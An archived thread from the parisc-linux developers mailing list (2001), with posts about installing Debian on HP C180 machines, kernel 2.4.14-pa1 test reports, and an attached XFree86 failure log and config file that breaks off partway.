	id xma017371; Wed, 14 Nov 01 15:25:26 +0100
Original-Received: by vies194a.sie.siemens.at with Internet Mail Service (5.5.2653.19)
	id <W5QFW2X3>; Wed, 14 Nov 2001 15:25:23 +0100
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13035

Hello,

i have made a CD from the ISO.image and now i will install
Debian on a C180 with a 4GB Harddisk.
The partitionlayout is like the README, 20MB for palo and
1800MB for root, 800MB for swap and rest for anything.

But i have serious troubles to install the base system to the
disk, the machine hang with a dumb while copying the *.deb
packages to disk from CD.

Is there something special what should do on a C180?

Greetings from Austria,

Ing. Peter Hans Strohmayer
SBS ORS BOS CDU GUD

* Tel:    +43 5 1707 47564
*  Fax:   +43 5 1707 57560
* E-Mail: mailto:peter-hans.strohmayer@sbs.at




From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing Debian on a C180
Date: Wed, 14 Nov 2001 15:13:31 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20011114151331.E30923@linuxcare.com>
References: <C10F60785AE7D211B6E00800060DA391028782A5@vieg128a.gud.siemens.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620749 29888 80.91.229.3 (22 Nov 2014 01:45:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:49 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Strohmayer Peter Hans <peter-hans.strohmayer@sbs.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 08:13:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9703F482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 08:13:15 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9EDFBB00C; Wed, 14 Nov 2001 15:13:31 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <C10F60785AE7D211B6E00800060DA391028782A5@vieg128a.gud.siemens.at>; from peter-hans.strohmayer@sbs.at on Wed, Nov 14, 2001 at 03:25:22PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13036

On Wed, Nov 14, 2001 at 03:25:22PM +0100, Strohmayer Peter Hans wrote:
> Hello,
> 
> i have made a CD from the ISO.image and now i will install
> Debian on a C180 with a 4GB Harddisk.
> The partitionlayout is like the README, 20MB for palo and
> 1800MB for root, 800MB for swap and rest for anything.
> 
> But i have serious troubles to install the base system to the
> disk, the machine hang with a dumb while copying the *.deb
> packages to disk from CD.
> 
> Is there something special what should do on a C180?

We expect to have a new ISO real soon now (yes, I know we have
been saying that for a couple of months), could you wait and
try that when it is available please?

In the meantime, using serial console and capturing the boot
messages for us might be interesting.

Cheers,
  Richard




From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing Debian on a C180
Date: Wed, 14 Nov 2001 10:40:36 -0500 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0111141039190.18005-100000@ns>
References: <C10F60785AE7D211B6E00800060DA391028782A5@vieg128a.gud.siemens.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620749 29890 80.91.229.3 (22 Nov 2014 01:45:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:49 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 08:40:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4910482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 08:40:37 -0700 (MST)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA28627
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 10:40:36 -0500
X-Sender: nick@ns
In-Reply-To: <C10F60785AE7D211B6E00800060DA391028782A5@vieg128a.gud.siemens.at>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13037

I attempted to install debian on my C180 a while ago.  I had to do a
number of umpleaseant hacks includeing disableing one of the two scsi
drivers in the kernel.  Did you run into that problem or did it go
relativly smoothly until the copying?
	Nick

On Wed, 14 Nov 2001, Strohmayer Peter Hans wrote:

> Hello,
> 
> i have made a CD from the ISO.image and now i will install
> Debian on a C180 with a 4GB Harddisk.
> The partitionlayout is like the README, 20MB for palo and
> 1800MB for root, 800MB for swap and rest for anything.
> 
> But i have serious troubles to install the base system to the
> disk, the machine hang with a dumb while copying the *.deb
> packages to disk from CD.
> 
> Is there something special what should do on a C180?
> 
> Greetings from Austria,
> 
> Ing. Peter Hans Strohmayer
> SBS ORS BOS CDU GUD
> 
> * Tel:    +43 5 1707 47564
> *  Fax:   +43 5 1707 57560
> * E-Mail: mailto:peter-hans.strohmayer@sbs.at
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.14-pa1 seems to works fine on my B180
Date: Wed, 14 Nov 2001 19:48:04 +0100 (CET)
Lines: 16
Approved: news@gmane.org
Message-ID: <1005763684.3bf2bc64ee2a9@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620750 29895 80.91.229.3 (22 Nov 2014 01:45:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 11:48:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38D19482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 11:48:07 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16454v-0007wb-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 19:48:05 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13038

Hi all,

For my part 2.4.14-pa1 seems to works fine on my B180L (without or with 
modules).
Kbd unplug replug ok.
XFree86 seems to works as well as with 2.4.9 (personnaly I run Xfce-3.8.11 with 
the kind fondecran from ESIEE: nice).

Congratulation to all (a so nice job in so short time :))
      Joel


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.14-pa1 seems to works fine on my B180
Date: Wed, 14 Nov 2001 12:39:07 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <200111141939.MAA09459@puffin.external.hp.com>
References: <1005763684.3bf2bc64ee2a9@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620750 29897 80.91.229.3 (22 Nov 2014 01:45:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 12:43:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F0CF482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 12:43:51 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA09459;
	Wed, 14 Nov 2001 12:39:07 -0700
In-Reply-To: Message from joel.soete@freebel.net 
   of "Wed, 14 Nov 2001 19:48:04 +0100." <1005763684.3bf2bc64ee2a9@webmail.tiscalinet.be> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13039

joel.soete@freebel.net wrote:
> Hi all,
> 
> For my part 2.4.14-pa1 seems to works fine on my B180L (without or with 
> modules).

Astro based machines (eg C3000) still HPMC with:
	sync; cd/tmp; cp /boot/vmlinux .; sync;

I found one nit in sba_dma_supported() but that's not the problem.
Has anyone tried C200 (or similar? ie something with ccio)

thanks,
grant



From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting with the STI console in a 715/75 (works)
Date: Wed, 14 Nov 2001 14:52:06 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <3BF2CB66.7070506@verizon.net>
References: <3BF096F2.8010409@verizon.net>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620750 29900 80.91.229.3 (22 Nov 2014 01:45:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 12:50:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp003pub.verizon.net (smtp003pub.verizon.net [206.46.170.182])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E405482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 12:50:14 -0700 (MST)
Original-Received: from verizon.net (pool-151-201-224-254.pitt.east.verizon.net [151.201.224.254])
	by smtp003pub.verizon.net  with ESMTP
	for <parisc-linux@lists.parisc-linux.org>; id fAEJne314412
	Wed, 14 Nov 2001 13:49:40 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13040

Hello all,

My STI console now works under 2.4.14-pa1. Good work!

-- 
      Rafael




From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree86 and the 715/75 doesn't work
Date: Wed, 14 Nov 2001 15:02:27 -0500
Lines: 473
Approved: news@gmane.org
Message-ID: <3BF2CDD3.2030503@verizon.net>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------090207000509040806010706"
X-Trace: ger.gmane.org 1416620751 29905 80.91.229.3 (22 Nov 2014 01:45:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 13:00:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp003pub.verizon.net (smtp003pub.verizon.net [206.46.170.182])
	by dsl2.external.hp.com (Postfix) with ESMTP id 344A8482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 13:00:33 -0700 (MST)
Original-Received: from verizon.net (pool-151-201-224-254.pitt.east.verizon.net [151.201.224.254])
	by smtp003pub.verizon.net  with ESMTP
	for <parisc-linux@lists.parisc-linux.org>; id fAEJxv324452
	Wed, 14 Nov 2001 13:59:58 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13041

This is a multi-part message in MIME format.
--------------090207000509040806010706
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

The next thing I'd like to ask is support for X in the 715/75. I 
configured the kernel with "make oldconfig", Starting X generates the 
attached log. My XF86Config is also attached.

-- 
      Rafael

--------------090207000509040806010706
Content-Type: text/plain;
 name="XFree86.0.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="XFree86.0.log"


This is a pre-release version of XFree86, and is not supported in any
way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
please check the latest version in the XFree86 CVS repository
(http://www.XFree86.Org/cvs)

XFree86 Version 4.1.0.1 / X Window System
(protocol Version 11, revision 0, vendor release 6510)
Release Date: xx August 2001
	If the server is older than 6-12 months, or if your card is
	newer than the above date, look for a newer version before
	reporting problems.  (See http://www.XFree86.Org/FAQ)
Build Operating System: Linux 2.4.0-pa43 parisc64 [ELF] 
(==) Log file: "/var/log/XFree86.0.log", Time: Wed Nov 14 02:15:15 2001
(==) Using config file: "/etc/X11/XF86Config"
Markers: (--) probed, (**) from config file, (==) default setting,
         (++) from command line, (!!) notice, (II) informational,
         (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) ServerLayout "Simple Layout"
(**) |-->Screen "Screen 1" (0)
(**) |   |-->Monitor "lcd"
(**) |   |-->Device "fbdev"
(**) |-->Input Device "Mouse1"
(**) |-->Input Device "Keyboard1"
(**) Option "AutoRepeat" "500 30"
(**) Option "XkbRules" "xfree86"
(**) XKB: rules: "xfree86"
(**) Option "XkbModel" "hphil"
(**) XKB: model: "hphil"
(**) Option "XkbLayout" "us"
(**) XKB: layout: "us"
(==) Keyboard: CustomKeycode disabled
(**) FontPath set to "/usr/X11R6/lib/X11/fonts/misc/,/usr/X11R6/lib/X11/fonts/75dpi/:unscaled,/usr/X11R6/lib/X11/fonts/100dpi/:unscaled,/usr/X11R6/lib/X11/fonts/Type1/,/usr/X11R6/lib/X11/fonts/Speedo/,/usr/X11R6/lib/X11/fonts/75dpi/,/usr/X11R6/lib/X11/fonts/100dpi/"
(**) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(--) using VT number 7

(WW) Cannot open APM
(EE) No OS PCI support available
(II) Addressable bus resource ranges are
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
	[1] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) All system resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
(II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
	pm2, pm, 300sx, 500tx, mx, delta
	S3VIdentify
(II) S3VIRGE: driver (version 1.6.0) for S3 ViRGE chipsets: virge, 86C325,
	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
	trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
	SIS300, SIS630, SIS540
(II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
	TwisterK
(II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, cyber9388,
	cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
	tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
	providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
	cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
	cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
	3dfx Voodoo3, 3dfx Voodoo5
(II) FBDev: driver for framebuffer: fbdev, afb
(II) ATI: ATI driver (version 6.3.6) for chipsets: ati
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
	ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
	ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
	ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
	ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
	ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
	ATI Rage 128 Mobility ML (AGP)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
	ATI Radeon VE (AGP)
(II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
	imstt3d
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
	S3VProbe begin
(EE) No devices detected.

Fatal server error:
no screens found

When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please report problems to submit@bugs.debian.org.


--------------090207000509040806010706
Content-Type: text/plain;
 name="XF86Config"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="XF86Config"

#
# Copyright (c) 1999 by The XFree86 Project, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
# THE XFREE86 PROJECT BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
# OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
# Except as contained in this notice, the name of the XFree86 Project shall
# not be used in advertising or otherwise to promote the sale, use or other
# dealings in this Software without prior written authorization from the
# XFree86 Project.
#

# **********************************************************************
# Refer to the XF86Config(4/5) man page for details about the format of
# this file.
# **********************************************************************

# **********************************************************************
# Module section -- this  section  is used to specify
# which dynamically loadable modules to load.
# **********************************************************************
#
Section "Module"

# This loads the DBE extension module.

    Load        "dbe"   # Double buffer extension

# This loads the miscellaneous extensions module, and disables
# initialisation of the XFree86-DGA extension within that module.
    SubSection  "extmod"
      Option    "omit xfree86-dga"   # don't initialise the DGA extension
    EndSubSection

# This loads the Type1 and FreeType font modules
    Load        "type1"
    Load        "freetype"

# This loads the GLX module
#    Load       "glx"

EndSection

# **********************************************************************
# Files section.  This allows default font and rgb paths to be set
# **********************************************************************

Section "Files"

# The location of the RGB database.  Note, this is the name of the
# file minus the extension (like ".txt" or ".db").  There is normally
# no need to change the default.

    RgbPath     "/usr/X11R6/lib/X11/rgb"

# Multiple FontPath entries are allowed (which are concatenated together),
# as well as specifying multiple comma-separated entries in one FontPath
# command (or a combination of both methods)
#
# If you don't have a floating point coprocessor and emacs, Mosaic or other
# programs take long to start up, try moving the Type1 and Speedo directory
# to the end of this list (or comment them out).
#

#    FontPath   "/usr/X11R6/lib/X11/fonts/local/"
    FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/Type1/"
    FontPath   "/usr/X11R6/lib/X11/fonts/Speedo/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/"

# The module search path.  The default path is shown here.

#    ModulePath "/usr/X11R6/lib/modules"

EndSection

# **********************************************************************
# Server flags section.
# **********************************************************************

Section "ServerFlags"

# Uncomment this to cause a core dump at the spot where a signal is
# received.  This may leave the console in an unusable state, but may
# provide a better stack trace in the core dump to aid in debugging

#    Option "NoTrapSignals"

# Uncomment this to disable the <Crtl><Alt><BS> server abort sequence
# This allows clients to receive this key event.

#    Option "DontZap"

# Uncomment this to disable the <Crtl><Alt><KP_+>/<KP_-> mode switching
# sequences.  This allows clients to receive these key events.

#    Option "Dont Zoom"

